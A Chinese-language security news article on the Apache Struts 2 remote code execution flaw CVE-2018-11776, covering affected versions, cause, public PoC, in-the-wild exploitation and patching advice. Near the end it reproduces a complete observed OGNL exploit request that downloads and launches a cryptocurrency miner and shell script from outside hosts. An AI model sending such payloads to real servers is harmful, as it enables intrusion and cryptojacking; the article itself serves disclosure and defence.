导语:2018年8月底,Apache Struts团队发布了Apache Struts 2开源开发框架的安全更新,其中修复了一个高危的远程代码执行漏洞(RCE)。这一漏洞的编号为CVE-2018-11776,受漏洞影响的版本范围是2.3-2.3.34、2.5-2.5.16以及不再提供更新支持的早
概述
2018年8月底,Apache Struts团队发布了Apache Struts 2开源开发框架的安全更新,其中修复了一个高危的远程代码执行漏洞(RCE)。这一漏洞的编号为CVE-2018-11776,受漏洞影响的版本范围是2.3-2.3.34、2.5-2.5.16以及不再提供更新支持的早期版本。在Struts 2.3.35和2.5.17版本中修复了这一漏洞。
Struts开发团队还发布了一个临时修复方法,但他们建议用户不要选择这一方案,而是应该尽快安装更新。
在Apache发布的安全公告中,是这样描述这一漏洞的:“当使用没有命名空间的结果时,如果其上层动作没有或具有通配符命名空间,可能会导致远程代码执行。同样,当使用没有值或动作集的URL标记时,也可能导致远程代码执行”。
这一漏洞很容易被利用。根据安全公告的信息,如果没有在基础XML配置中为结果定义命名空间值,并且其上层动作配置中没有或具有通配符命名空间,就可能会触发RCE漏洞。当使用没有值或动作集的URL标记时,就可以利用这一漏洞。
Semmle在发表的技术分析中指出,
该漏洞是由于Struts框架核心中没有对不受信任的用户数据进行充分验证而导致的。由于这一漏洞影响Struts的核心部分,因此存在多个单独的攻击向量。目前,我们已经掌握了其中的两种攻击方式。
如果满足以下两个条件,则可以判断应用程序受到该漏洞的影响:
1、Struts配置中的alwaysSelectFullNamespace标志设置为True。需要注意的是,如果应用程序使用了流行的Struts Convention插件,那么会默认出现这种情况。
2、应用程序配置文件中包含<action …>标记,该标记未指定可选的命名空间属性,或者指定了通配符命名空间(例如“/*”)。
该漏洞影响Struts的常用终端,这些终端可能会暴露。
攻击者可以通过在HTTP请求的参数中注入自己的命名空间,来攻击受漏洞影响的应用程序。Struts框架对该参数的值进行了不充分的验证,其值可以是任何OGNL字符串。OGNL是一种功能强大的特定域语言,用于自定义Apache Struts的行为。
漏洞EXP在GitHub上发布
专家解释说,这一漏洞的利用非常容易,因为有大量应用程序使用了受漏洞影响的Struts框架,所以非常危险。攻击者可以通过在HTTP请求中注入自定义的命名空间作为参数,来触发这一漏洞。缺乏对该参数的正确验证是问题的根源。
就在Apache Software Foundation发布Apache Struts 2中关于远程代码执行的安全公告后的2天时间,网上就出现了一个可用的漏洞概念验证(PoC)。
威胁情报公司Recorded Future的研究人员在几个中国和俄罗斯的地下论坛中,观察到与Struts漏洞相关的信息和交易。
Recorded Future在发布的分析文章中写道:
不幸的是,PoC的代码已经在网上发布,此外还有一个可以轻松利用这一漏洞的Python脚本。这样一来,就使得攻击者可以更加轻松的利用此漏洞。我们还发现了许多中国和俄罗斯的地下论坛在持续讨论这一漏洞。与去年Equifax的Apache Struts漏洞(CVE-2017-5638)不同,这个漏洞似乎更容易被利用,因为它不需要安装Apache Struts就可以运行任何额外的插件,从而实现成功的攻击。
由于这一框架非常流行,所以受漏洞影响的应用程序数量非常多。
因为运行Apache Struts的许多服务器都是后端应用程序服务器,所以即使是系统管理员也不容易对它们进行判断。
另一个需要考虑的方面是,有许多Struts框架无法立即安装更新。这些系统仍然容易受到攻击,特别是在关键环境中的系统。
专家警告说,后续可能会有黑客发起大规模的互联网扫描,发现易受攻击的系统,并针对存在漏洞的系统开展一系列攻击活动。
在野外发现利用Struts Flaw漏洞进行的攻击
在网上发布EXP代码的几个小时后,威胁情报公司Volexity的研究人员就发现该漏洞已被恶意攻击所利用。攻击者正在试图借助此漏洞,向目标主机安装CNRig加密货币挖矿程序。
Volexity在发布的报告中指出:Volexity已经观察到,至少有一个攻击者试图大规模利用CVE-2018-11776来安装CNRig加密货币矿工。最初观察到的扫描,来自俄罗斯和法国的IP地址95.161.225.94和167.114.171.27。
黑客使用的漏洞利用代码会连接到GitHub仓库,以获取CNRig Miner的副本,并将其保存为xrig,随后访问BitBucket下载Shell脚本。
以下是Volexity安全研究人员在实际攻击中观察到的漏洞利用尝试示例:
GET /struts3-showcase/$${(#_memberAccess[“allowStaticMethodAccess”]=true,#[email protected]@getRuntime().exec(‘wget -O xrig hxxps://github.com/cnrig/cnrig/releases/download/v0.1.5-release/cnrig-0.1.5-linux-x86_64;wget hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh || curl -L hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh –output upcheck.sh;chmod x xrig;chmod x upcheck.sh;nohup ./upcheck.sh &;nohup ./xrig -a cryptonight -o us-east.cryptonight-hub.miningpoolhub.com:20580 -u c646.miner -p x &;rm xrig’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#[email protected]@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action HTTP/1.1
经过分析,上述代码揭示了漏洞利用的过程:
如果上述漏洞利用尝试成功,存在漏洞的系统将对其中的两个URL执行wget请求,以便从GitHub下载CNRig Miner的副本(保存为xrig),随即从BitBucket下载Shell脚本(upcheck.sh)。
攻击者使用Shell脚本,删除先前的矿工实例,删除特定进程,并且下载3个ELF挖矿二进制文件。
在此次攻击中,攻击者使用的挖矿工具支持多种体系架构,包括Inter、ARM和MIPS。这说明攻击者将目标瞄准了尽可能广泛的用户群体。
下载的3个ELF二进制文件分别是针对Inter、ARM和MIPS架构的可执行文件,这样一来,该挖矿程序就能够在许多硬件上运行,例如服务器、台式机、笔记本电脑、物联网设备、无线路由器等。范围几乎涵盖了所有能运行存在漏洞的Apache Struts实例的连网设备。
攻击中涉及到的BitBucket文件夹中包含Shell脚本和ELF二进制文件。研究人员发现,挖掘加密货币的账户名称与BitBucket账户名称相同。
结论
Apache Struts漏洞对于组织来说非常危险,也是导致Equifax超过1.4亿用户信息泄露的根本原因。然而,CVE-2018-11776比此前的漏洞更容易被利用。
目前,有两种方案可以防范该漏洞。第一,升级到最新版本的Apache Struts,其版本号为2.3.35或2.5.17以上。第二,确保在Apache Struts框架中始终设置了命名空间。
由于持续不断的出现高危漏洞,Apache Struts框架逐渐成为越来越多攻击者关注的目标。这就需要组织具有及时的响应速度,确保在发布新补丁之后立即对软件进行更新,或者以其他方式限制外部对受漏洞影响网站的访问。尽管当前发现的Apache Struts攻击的主要Payload是加密货币挖矿程序,但攻击者完全可以使用其他Payload。
我个人认为,针对CVE-2018-11776漏洞的恶意活动数量还会持续增加,因为目前还有大量的Apache Struts 2尚未修复漏洞,并且能被外界访问。